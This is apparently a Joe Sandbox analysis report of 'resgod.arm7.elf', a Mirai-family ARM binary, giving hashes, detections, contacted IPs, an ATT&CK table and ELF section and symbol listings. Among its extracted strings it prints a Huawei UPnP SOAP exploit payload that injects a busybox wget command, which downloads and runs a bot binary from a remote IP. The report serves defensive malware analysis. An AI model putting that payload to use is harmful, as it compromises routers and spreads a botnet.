Edit tour

Linux Analysis Report
resgod.arm7.elf

Overview

General Information

Sample name:	resgod.arm7.elf
Analysis ID:	1643834
MD5:	55045dce5ec0cc35c26ab99cf3f700d4
SHA1:	546866eca6f7c7b9d9e6f2730838a075ea780879
SHA256:	ac556aba967a8efdefb7688b6724121ce4f1a2deaa3763ab6ec765a3ef71725e
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Contains symbols with names commonly found in malware

Detected TCP or UDP traffic on non-standard ports

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643834
Start date and time:	2025-03-20 07:41:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	resgod.arm7.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/resgod.arm7.elf
PID:	5458
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

resgod.arm7.elf (PID: 5458, Parent: 5376, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm7.elf

resgod.arm7.elf New Fork (PID: 5460, Parent: 5458)

resgod.arm7.elf New Fork (PID: 5462, Parent: 5460)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
resgod.arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
resgod.arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5458.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5458.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5460.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5460.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm7.elf PID: 5458	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm7.elf PID: 5460	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 1 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: classification engine

Classification label: mal76.troj.linELF@0/0@2/0

Source: /tmp/resgod.arm7.elf (PID: 5458)

Queries kernel information via 'uname':

Jump to behavior

Source: resgod.arm7.elf, 5458.1.00007ffc6314a000.00007ffc6316b000.rw-.sdmp, resgod.arm7.elf, 5460.1.00007ffc6314a000.00007ffc6316b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm7.elf
Source: resgod.arm7.elf, 5458.1.0000561fe191a000.0000561fe1a48000.rw-.sdmp, resgod.arm7.elf, 5460.1.0000561fe191a000.0000561fe1a48000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: resgod.arm7.elf, 5458.1.00007ffc6314a000.00007ffc6316b000.rw-.sdmp, resgod.arm7.elf, 5460.1.00007ffc6314a000.00007ffc6316b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: resgod.arm7.elf, 5458.1.0000561fe191a000.0000561fe1a48000.rw-.sdmp, resgod.arm7.elf, 5460.1.0000561fe191a000.0000561fe1a48000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: resgod.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm7.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm7.elf PID: 5460, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: resgod.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5458.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5460.1.00007f71bc017000.00007f71bc02d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm7.elf PID: 5458, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: resgod.arm7.elf PID: 5460, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
resgod.arm7.elf	56%	ReversingLabs	Linux.Trojan.Gafgyt
resgod.arm7.elf	100%	Avira	EXP/ELF.Mirai.W

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	resgod.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	resgod.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	resgod.arm7.elf	false	high
http://104.168.101.27/sh	resgod.arm7.elf	false	high
http://104.168.101.27/resgod.mips;	resgod.arm7.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	resgod.arm7.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false
104.168.101.27	unknown	United States		36352	AS-COLOCROSSINGUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	gigab.i686.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	jkse.arm6.elf	Get hash	malicious	Unknown	Browse
	nklarm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sync.mipsel.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
104.168.101.27	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse
	resgod.x86.elf	Get hash	malicious	Mirai	Browse
	resgod.mips.elf	Get hash	malicious	Mirai	Browse
	resgod.arm.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	resgod.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	i.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	gigab.i686.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	miner.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	miner.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	185.125.190.26
	miner.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
AS-COLOCROSSINGUS	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.mpsl.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	resgod.arm.elf	Get hash	malicious	Mirai	Browse	104.168.101.27
	nklarm7.elf	Get hash	malicious	Unknown	Browse	23.236.181.216

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.982300821208011
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	resgod.arm7.elf
File size:	146'208 bytes
MD5:	55045dce5ec0cc35c26ab99cf3f700d4
SHA1:	546866eca6f7c7b9d9e6f2730838a075ea780879
SHA256:	ac556aba967a8efdefb7688b6724121ce4f1a2deaa3763ab6ec765a3ef71725e
SHA512:	6091dd0325765d00607bb8f6496d7ba085dc0a8732c20465fa880ab3dbeae582ea27b196af2d716f0cf4dccbb4f3f4501fe8650f4957f4de5ff2e619a75a9ad6
SSDEEP:	3072:p8NdiuW2aSUDSyDRRoqILt+UnUA6S+z//5nM/901D5:iHLW2aSUDSy9R60S+zXtM/9al
TLSH:	C3E32A46E7409B13C5D22B76FADF42063323DB54D3AB23069928AFF43F876994E27605
File Content Preview:	.ELF..............(.........4...........4. ...(........p0O..0...0...................................HP..HP..............HP..HP..HP......$3..............LP..LP..LP..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	113392
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x12ff8	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1b0e8	0x130e8	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1b0f8	0x130f8	0x1e20	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x1cf18	0x14f18	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1cf30	0x14f30	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x25048	0x15048	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2504c	0x1504c	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2504c	0x1504c	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x25050	0x15050	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x25054	0x15054	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x25058	0x15058	0xb0	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x25108	0x15108	0x1f8	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x25300	0x15300	0x306c	0x0	0x3	WA	0	0	8
.comment	PROGBITS	0x0	0x15300	0xb68	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x15e68	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x15fa8	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x161bb	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x181fe	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x188e0	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x19758	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x19a10	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1a2da	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1b469	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1b9c1	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1b9d7	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1bf78	0x5150	0x10	0x0		28	744	4
.strtab	STRTAB	0x0	0x210c8	0x2a58	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x14f30	0x1cf30	0x1cf30	0x118	0x118	4.4243	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x15048	0x15048	6.1684	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x15048	0x25048	0x25048	0x2b8	0x3324	3.8504	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x1504c	0x2504c	0x2504c	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1b0e8	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1b0f8	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x1cf18	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x1cf30	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x25048	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2504c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2504c	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x25050	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x25054	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x25058	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x25108	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x25300	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1b0e8	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1b0f4	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8288	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8390	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x84c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8598	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x865c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x87ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x886c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x895c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8984	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8a60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8a9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x94bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x94e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x95bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa350	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa5fc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa878	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa99c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa9f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaa8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xaaf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xab1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xabf4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xac30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb65c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb6b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb6d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb700	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb760	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb844	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb914	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb950	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbe98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdda8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe3e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe414	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe434	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe460	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe480	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe4a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe504	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe550	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe5e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe678	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe6c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe784	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe8b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeac4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeb54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeb84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xec98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeddc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xedf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xee88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xef7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xefb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xefc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf000	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf044	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf088	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf10c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf14c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf17c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf28c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf35c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf420	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf4d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf5b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf5d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf60c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf680	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf7d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf804	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf838	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf908	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf988	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfaec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfb1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfc60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1042c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x104cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10510	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x106c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10714	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10c84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10dc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e80	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ea0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fa0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10fc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11090	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1118c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x111a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x112e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11314	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11338	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x113b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x113dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11420	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11494	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x114d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11520	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11564	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x115d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1161c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x116a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x116e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11758	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x117a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1182c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11874	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x118b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12268	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x123a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12768	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d88	0	NOTYPE	<unknown>	DEFAULT	2
